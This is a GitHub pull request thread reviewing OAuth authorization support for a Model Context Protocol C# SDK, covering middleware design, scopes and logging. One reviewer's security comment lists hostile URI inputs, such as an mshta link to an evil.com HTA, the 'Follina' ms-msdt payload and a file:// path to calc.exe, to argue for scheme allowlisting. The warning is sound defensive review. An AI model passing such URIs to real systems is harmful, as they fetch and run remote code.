WIP: Authorization support #349
Conversation
|
Tracking for #156. |
src/ModelContextProtocol/Protocol/Transport/SseClientTransport.cs
Outdated
Show resolved
Hide resolved
|
|
||
| // Serve SSE and message endpoints with authorization | ||
| if (context.Request.Path.StartsWithSegments("/sse") || | ||
| (context.Request.Path.Value?.EndsWith("/message") == true)) |
There was a problem hiding this comment.
This would probably be better done with endpoint filters on the RouteGroups we create in MapMcp where the routing has already been done for us. Feel free to ping me if you want any guidance on this.
There was a problem hiding this comment.
@halter73 can you check out the updated implementation with McpAuthorizationFilter?
|
Just as a heads up, I opened #356 to add client-side support for the Streamable HTTP transport. I hope to get it merged quickly so people can test it out. It doesn't affect the client-side logic when the SSE transport is in use which will still be the default since that's much more widely supported. I don't think it will affect your auth work too much. |
There was a problem hiding this comment.
Please address the comments. Also, take a look at the following discussion: #135
There is already appetite in the community for using the builtin asp.net core authn/z capabilities.
| ClientId = "04f79824-ab56-4511-a7cb-d7deaea92dc0", | ||
|
|
||
| // Setting some pre-defined scopes the client requests. | ||
| Scopes = ["User.Read"], |
There was a problem hiding this comment.
I have a usecase for this to be dynamic. I haven't looked at the rest of the code yet, but please ensure there is support for supplying the scopes dynamically in the server metadata based upon the incoming request.
There was a problem hiding this comment.
@DavidParks8 - this is an example. You can specify whatever scopes you want here when you establish the transport options.
| $"http://{hostname}:{port}{callbackPath}" | ||
| }, // Configure the authorize callback with the same hostname, port, and path | ||
| AuthorizeCallback = AuthorizationService.CreateHttpListenerAuthorizeCallback( | ||
| openBrowser: async (url) => |
There was a problem hiding this comment.
the url could be malicious. There has to be a more secure way to do this than blindly trusting what the server provides.
There was a problem hiding this comment.
if you hand an un‑validated string off to ShellExecute (UseShellExecute = true) you are effectively letting the user invoke any registered protocol or file association. As soon as Windows sees something like:
• mshta://evil.com/boom.hta
• ms‑msdt:/id PCWDiagnostic /skip force /path "\evil\share\payload.sps" (the “Follina” trick)
• powershell://… (or a custom “evilproto://” that a malicious installer put on the box)
• data:text/html,
• javascript:alert(1)
• file://C:/windows/system32/calc.exe
• C:\somewhere\malicious.exe
• mybad.lnk or anything else with a registered verb
…ShellExecute will hand it off to whatever handler is registered. That means remote HTAs, LNKs that point to EXEs, custom protocols, PowerShell‐URI handlers, the Works.
If all you truly want to do is open an HTTP(S) address (and nothing else), you must allowlist the scheme
There was a problem hiding this comment.
Even if this is just a sample, we shouldn't be insecure. People are likely to copy these samples into real products.
There was a problem hiding this comment.
I am not sure this is really applicable here - this is the client configuration. If you're writing a MCP client, you can set the redirect URI to anything you want when you spin up the listener. Happy to discuss if you think otherwise.
| // - Serves the PRM document at /.well-known/oauth-protected-resource | ||
| // - Checks Authorization header on requests | ||
| // - Returns 401 + WWW-Authenticate when authorization is missing or invalid | ||
| app.UseMcpAuthorization(); |
There was a problem hiding this comment.
This PR introduces custom implementations for authorization, which reimplements much of the functionality already provided by ASP.NET Core's built-in authorization middleware. Leveraging the standard MapX().RequireAuthorization() approach would not only simplify the implementation for library consumers but also align with best practices.
Could you re-evaluate this implementation and consider using MapMcp().RequireAuthorization() instead of custom solutions for handling authorization? This would ensure better maintainability, security, and alignment with typical ASP.NET Core practices.
There was a problem hiding this comment.
Doing so would allow for usage with all the builtin integrations and libraries that already support asp.net core authentication.
There was a problem hiding this comment.
Put a bit differently, if you want everyone inside and outside of msft to use this library, the code needs to meet them where they already are rather than forcing something new that has similar type names and concepts.
| } | ||
|
|
||
| // Handle the PRM document endpoint if not handled by the endpoint | ||
| if (context.Request.Path.StartsWithSegments("/.well-known/oauth-protected-resource") && |
There was a problem hiding this comment.
why is the metadata endpoint implemented as a middleware instead of as an app.Map call inside MapMcp?
| /// <param name="context">The HTTP context.</param> | ||
| /// <returns>A task that represents the asynchronous operation.</returns> | ||
| public async Task HandleAsync(HttpContext context) | ||
| { _logger.LogDebug("Serving Protected Resource Metadata document"); |
There was a problem hiding this comment.
Log messages in the hot path need to be using LoggerMessage delegates to reduce allocations.
|
@halter73 @DavidParks8 closing, as this is superseded by #377. |
No description provided.